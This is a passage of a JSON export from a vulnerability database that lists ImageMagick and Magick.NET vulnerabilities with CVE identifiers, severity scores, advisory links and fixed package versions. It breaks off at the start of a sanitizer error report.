} ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/86265?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.8.1", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-11v2-qgx3-47hz" }, { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-1hrc-y5vr-efgj" }, { "vulnerability": "VCID-1j2k-6rbb-tfhy" }, { "vulnerability": "VCID-1p4e-f2bs-eycu" }, { "vulnerability": "VCID-1y2r-nh91-u7ha" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-3gm2-ehp7-d7em" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4fqh-nbke-bufv" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-4q34-28cp-j3fn" }, { "vulnerability": "VCID-58jw-s2v7-ukcw" }, { "vulnerability": "VCID-5e38-r9z4-a7h9" }, { "vulnerability": "VCID-5e5g-55d6-3yev" }, { "vulnerability": "VCID-5mtv-p43c-fqc5" }, { "vulnerability": "VCID-5xqc-2jt1-dfh1" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-7rkq-y5rp-wyfm" }, { "vulnerability": "VCID-836n-xdhx-zye3" }, { "vulnerability": "VCID-88yk-kthd-5qgr" }, { "vulnerability": "VCID-8sq5-r6ur-3be6" }, { "vulnerability": "VCID-8zwb-29vf-gkag" }, { "vulnerability": "VCID-92t2-5jrm-cyej" }, { "vulnerability": "VCID-97p8-5z8e-2qd5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-a58f-bqx9-yfhk" }, { "vulnerability": "VCID-acea-fhhx-xydj" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-bcdj-1szf-u3c8" }, { "vulnerability": "VCID-c9t3-dj85-nfev" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cpn3-kr6q-2ugv" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-ddvf-h3jf-1yft" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-dw4p-7umw-tqhd" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-g38v-cdjz-a7cd" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-jtta-svbt-wfcv" }, { "vulnerability": "VCID-kcs8-8s5x-w7er" }, { "vulnerability": "VCID-kpcy-a3v3-ubhs" }, { "vulnerability": "VCID-kyeb-ndqs-vyhp" }, { "vulnerability": "VCID-kymx-rjrd-m3g4" }, { "vulnerability": "VCID-m1x2-ffdz-ekhu" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-majy-bytw-9bew" }, { "vulnerability": "VCID-mjy1-gkm8-2ugw" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-ndur-uewc-aucm" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-rabe-pnz7-mqbj" }, { "vulnerability": "VCID-rp71-pwxm-quhd" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-s9vc-rtmc-vygy" }, { "vulnerability": "VCID-sh29-s49w-6qdj" }, { "vulnerability": "VCID-sjg9-srcu-8bck" }, { "vulnerability": "VCID-t1vu-myek-u7dq" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-taap-mm6q-xuef" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-u59k-v6pm-qud3" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-v8sf-9pty-aqh4" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-wh9f-rvt4-6fb9" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xftp-cy5m-nkhh" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-ye74-15xt-ukhk" }, { "vulnerability": "VCID-yxmc-uvt6-ebgw" }, { "vulnerability": "VCID-z52g-6wk3-3ufj" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.8.1" } ], "aliases": [ "CVE-2025-55298", "GHSA-9ccg-6pjw-x645" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-27wf-43fw-kuam" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62843?format=api", "vulnerability_id": "VCID-2j96-dnbv-3uhn", "summary": "ImageMagick: ImageMagick: Denial of Service via deeply nested expression in FX parser", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33902.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33902.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33902", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00014", "scoring_system": "epss", "scoring_elements": "0.02789", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33902" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:51:18Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/d3c0a37485314c5ccef72efb18f3847cd53868ba", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:51:18Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/d3c0a37485314c5ccef72efb18f3847cd53868ba" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-f4qm-vj5j-9xpw", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T15:51:18Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-f4qm-vj5j-9xpw" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33902", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33902" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458040", "reference_id": "2458040", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458040" }, { "reference_url": "https://github.com/advisories/GHSA-f4qm-vj5j-9xpw", "reference_id": "GHSA-f4qm-vj5j-9xpw", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-f4qm-vj5j-9xpw" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-33902", "GHSA-f4qm-vj5j-9xpw" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-2j96-dnbv-3uhn" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50357?format=api", "vulnerability_id": "VCID-3gm2-ehp7-d7em", "summary": "ImageMagick: SVG-to-MVG Command Injection via coders/svg.c\nAn attacker can inject arbitrary MVG (Magick Vector Graphics) drawing commands in an SVG file that is read by the internal SVG decoder of ImageMagick. The injected MVG commands execute during rendering.", "references": [ { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/9db96365ecab5de69cdec81b9359672b3a827aaa", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/9db96365ecab5de69cdec81b9359672b3a827aaa" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/f63c78b3828933f1cc7cf499390248981af765aa", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/f63c78b3828933f1cc7cf499390248981af765aa" }, { "reference_url": "https://github.com/advisories/GHSA-xpg8-7m6m-jf56", "reference_id": "GHSA-xpg8-7m6m-jf56", "reference_type": "", "scores": [ { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-xpg8-7m6m-jf56" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xpg8-7m6m-jf56", "reference_id": "GHSA-xpg8-7m6m-jf56", "reference_type": "", "scores": [ { "value": "0.0", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N" }, { "value": "LOW", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "LOW", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-xpg8-7m6m-jf56" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "GHSA-xpg8-7m6m-jf56" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-3gm2-ehp7-d7em" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/62838?format=api", "vulnerability_id": "VCID-44wu-3r97-47b9", "summary": "ImageMagick: Magick.NET: ImageMagick: Denial of Service via heap write overflow in JXL encoder", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40183.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-40183.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40183", "reference_id": "", "reference_type": "", "scores": [ { "value": "5e-05", "scoring_system": "epss", "scoring_elements": "0.00236", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-40183" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:07:54Z/" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.12.0" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/1c7767fc5f822c6edc104c1220d523e96fa20b5a", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/1c7767fc5f822c6edc104c1220d523e96fa20b5a" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:07:54Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/releases/tag/7.1.2-19" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-jvgr-9ph5-m8v4", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-14T19:07:54Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-jvgr-9ph5-m8v4" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40183", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40183" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458054", "reference_id": "2458054", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2458054" }, { "reference_url": "https://github.com/advisories/GHSA-jvgr-9ph5-m8v4", "reference_id": "GHSA-jvgr-9ph5-m8v4", "reference_type": "", "scores": [], "url": "https://github.com/advisories/GHSA-jvgr-9ph5-m8v4" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/109850?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.12.0", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.12.0" } ], "aliases": [ "CVE-2026-40183", "GHSA-jvgr-9ph5-m8v4" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-44wu-3r97-47b9" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50324?format=api", "vulnerability_id": "VCID-4fqh-nbke-bufv", "summary": "ImageMagick: Integer overflow or wraparound and incorrect conversion between numeric types in the internal SVG decoder\nA crafted SVG file can cause a denial of service. An off-by-one boundary check (`>` instead of `>=`) that allows bypass the guard and reach an undefined `(size_t)` cast.", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25989.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25989.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25989", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.0002", "scoring_system": "epss", "scoring_elements": "0.0581", "published_at": "2026-06-05T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-25989" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25989", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25989" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/commit/5a545ab9d6c3d12a6a76cfed32b87df096729d95", "reference_id": "", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/ImageMagick/ImageMagick/commit/5a545ab9d6c3d12a6a76cfed32b87df096729d95" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442136", "reference_id": "2442136", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2442136" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25989", "reference_id": "CVE-2026-25989", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25989" }, { "reference_url": "https://github.com/advisories/GHSA-7355-pwx2-pm84", "reference_id": "GHSA-7355-pwx2-pm84", "reference_type": "", "scores": [ { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-7355-pwx2-pm84" }, { "reference_url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7355-pwx2-pm84", "reference_id": "GHSA-7355-pwx2-pm84", "reference_type": "", "scores": [ { "value": "7.5", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "value": "HIGH", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "HIGH", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:08:53Z/" } ], "url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-7355-pwx2-pm84" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/74207?format=api", "purl": "pkg:nuget/Magick.NET-Q16-arm64@14.10.3", "is_vulnerable": true, "affected_by_vulnerabilities": [ { "vulnerability": "VCID-1dkp-eq4m-kuey" }, { "vulnerability": "VCID-2j96-dnbv-3uhn" }, { "vulnerability": "VCID-44wu-3r97-47b9" }, { "vulnerability": "VCID-4hmq-1sx8-skcj" }, { "vulnerability": "VCID-5xqw-b2kv-ckb5" }, { "vulnerability": "VCID-9dx7-4ewr-6fat" }, { "vulnerability": "VCID-9fpb-ch9j-8yg3" }, { "vulnerability": "VCID-avs5-2tz8-ebhs" }, { "vulnerability": "VCID-bc1g-24nb-nuf5" }, { "vulnerability": "VCID-cm5s-vwdd-8ua3" }, { "vulnerability": "VCID-cnvc-vfa2-z3fq" }, { "vulnerability": "VCID-cz6h-xcea-s3fn" }, { "vulnerability": "VCID-dskq-pcd4-v7fx" }, { "vulnerability": "VCID-e59v-wtp4-v7ev" }, { "vulnerability": "VCID-ea8n-71s6-nbfq" }, { "vulnerability": "VCID-fwfe-gcte-kyh3" }, { "vulnerability": "VCID-j4n2-8g72-q3fd" }, { "vulnerability": "VCID-j589-992a-jfa7" }, { "vulnerability": "VCID-m8u5-3zy6-zyh8" }, { "vulnerability": "VCID-mqpc-y7da-9uh9" }, { "vulnerability": "VCID-nfr9-r9x3-4ugt" }, { "vulnerability": "VCID-nxzm-r956-pbfy" }, { "vulnerability": "VCID-p3sj-h4qf-rkhp" }, { "vulnerability": "VCID-pr3f-pq54-dkd5" }, { "vulnerability": "VCID-qrsw-ekum-zue2" }, { "vulnerability": "VCID-s3ws-rhp3-a7gj" }, { "vulnerability": "VCID-s8sd-nz2r-y3c7" }, { "vulnerability": "VCID-s9q4-zzzf-e7gt" }, { "vulnerability": "VCID-t7w8-fz8u-zud8" }, { "vulnerability": "VCID-tv7n-7xa2-8uba" }, { "vulnerability": "VCID-uq5q-t36h-8fcw" }, { "vulnerability": "VCID-v64w-9gd4-rqhh" }, { "vulnerability": "VCID-vk9r-ve4j-w7g2" }, { "vulnerability": "VCID-vt3p-fn5k-7qba" }, { "vulnerability": "VCID-x1pn-e5ze-tqd2" }, { "vulnerability": "VCID-x85h-m4tr-ykha" }, { "vulnerability": "VCID-xuxk-mcdm-q3fr" }, { "vulnerability": "VCID-zt1v-dckb-gbh3" } ], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:nuget/Magick.NET-Q16-arm64@14.10.3" } ], "aliases": [ "CVE-2026-25989", "GHSA-7355-pwx2-pm84" ], "risk_score": null, "exploitability": null, "weighted_severity": null, "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-4fqh-nbke-bufv" }, { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/50888?format=api", "vulnerability_id": "VCID-4hmq-1sx8-skcj", "summary": "ImageMagick has heap buffer overflow in WriteXWDImage due to CARD32 arithmetic overflow in bytes_per_line calculation\nA 32-bit unsigned integer overflow in the XWD (X Windows) encoder can cause an undersized heap buffer allocation. When writing a extremely large image an out of bounds heap write can occur.\n\n```\n=================================================================\n==741961==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5020000083dc at pc 